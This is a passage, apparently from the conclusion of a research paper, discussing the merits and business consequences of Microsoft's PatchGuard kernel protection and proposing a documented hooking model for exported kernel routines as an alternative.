While most consider security through obscurity to be no security at all in the
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face of a sufficiently motivated engineer, it does indeed raise the bar enough
that most programmers and third-party entities would not have the interest
in finding a way to bypass it and instead would be more motivated to find a
condoned method of accomplishing their goals.

In cases such as this one it is sometimes important to take a step back and con-
sider if the avenue that has been taken is actually the right one. In particular,
Microsoft has decided to take an aggressive stance against patching different
parts of the kernel in the interest of making Windows more stable. While this
desire seems very reasonable and logical, it comes at a certain cost. Due to
the fact that Windows is a closed source operating system, third-party software
vendors sometimes find themselves forced to bend the rules in order to accom-
plish the goals of their product. This is especially true in the security industry
where security software vendors find themselves having to try to layer deeper
than malicious code. It could be argued that PatchGuard’s implementation
will prevent the malicious techniques from being possible, thus freeing up the
security software vendors to more reasonable points of entry. The fact of the
matter is, though, that while security software vendors may not make use of
techniques used to bypass PatchGuard due to marketing and security concerns,
it can certainly be said that malicious code will. As such, malicious code actu-
ally gains an upper-hand in the competition since security vendors end up with
their hands tied behind their back. In order to address this concern, Microsoft
appears to be willing to work actively with vendors to ensure that they are
still able to accomplish their goals through more acceptable and documented
approaches.

Another important question to consider is whether or not Microsoft will really
break a vendor that has deployed a solution to millions of systems that happens
to disable PatchGuard through a bypass technique. One could feasibly see a
McAfee or Symantec doing something like this, although Microsoft would hope
to leverage their business ties to ensure that McAfee and Symantec did not
have to resort to such a technique. The fact that McAfee and Symantec are
such large companies lends them a certain amount of leverage when negotiating
with Microsoft, but the smaller companies are most likely going to not be subject
to the same level of respect and consideration.

The question remains, though. Is PatchGuard really the right approach? If
one assumes that Microsoft will aggressively ensure that PatchGuard breaks
malicious code and software vendors who attempt to bypass it by releasing up-
dates in the future that intentionally break the bypass approaches, which is
what has been indicated so far, then it stands to reason that Microsoft could
be heading down a path that leads to the kernel actually being more unstable
due to more extreme measures being required. Even if Microsoft extends its
hand to other companies to provide ways of hooking into the kernel at various
levels, it will most likely always be the case that there will be a task that a
company needs to accomplish that will not be readily possible without inter-
vention from Microsoft. Unless Microsoft is willing to provide these companies
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with re-distributable code that makes it so third-party drivers will work on all
existing versions of x64, then the point becomes moot. Compatibility is a key
requirement not only for Microsoft, but also for third-party vendors, and a so-
lution that won’t work on all versions of the x64 kernel is no solution at all for
most companies.

If Microsoft were to go back in time and eliminate PatchGuard, what other op-
tions might be exposed to them that could be used to supplement the problem
at hand? The answer to this question is very subjective, but the authors believe
that one way in which Microsoft could solve this, at least in part, would be
through a better defined and condoned hooking model (like hooking VxD ser-
vices in Windows 9x). The majority of routines hooked by legitimate products
are used by vendors to layer between certain major subsystems, such as between
the hardware and the kernel or between user-mode and the kernel. Since the
majority of stability problems that third-party vendors introduce with runtime
patching have to do with incorrect or unsafe assumptions within their hook
routines, it would behoove Microsoft to provide a defined hooking model that
expressed the limitations and restrictions associated with each function that
can be hooked. While this might seem like a grand undertaking, the fact of the
matter is that it’s not.

By limiting the hooking model to exported routines, Microsoft could make use
of existing documentation that defines the behaviors and limitations of the doc-
umented functions, such as their IRQL and calling restrictions. While limiting
the hooking model to exported functions does not cover everything, it’s at least
a start, and the concepts used to achieve it could be wrapped into an equally
useful interface for commonly undocumented or non-exported routines. The
biggest problem with this approach, however, is that it would appear to limit
Microsoft’s control over the direction that the kernel takes, and in some ways it
does. However, it should already be safe to assume that exported symbols, at
least in relation to documented ones, cannot be eliminated or largely changed
after a release as to ensure backward compatibility. This only serves to bol-
ster the point that a defined hooking model for documented, exported routines
would not only be feasible but also relatively safe.

Regardless of what may or may not have been a better approach, the lack of a
time machine makes the end result of the discussion mostly meaningless. In the
end, judging from the amount of work and thought put into the implementation
of PatchGuard, the authors feel comfortable in saying that Microsoft has done
a commendable job. Only time will tell how effective PatchGuard is, both at a
software and business level, and it will be interesting to see how the field plays
out.
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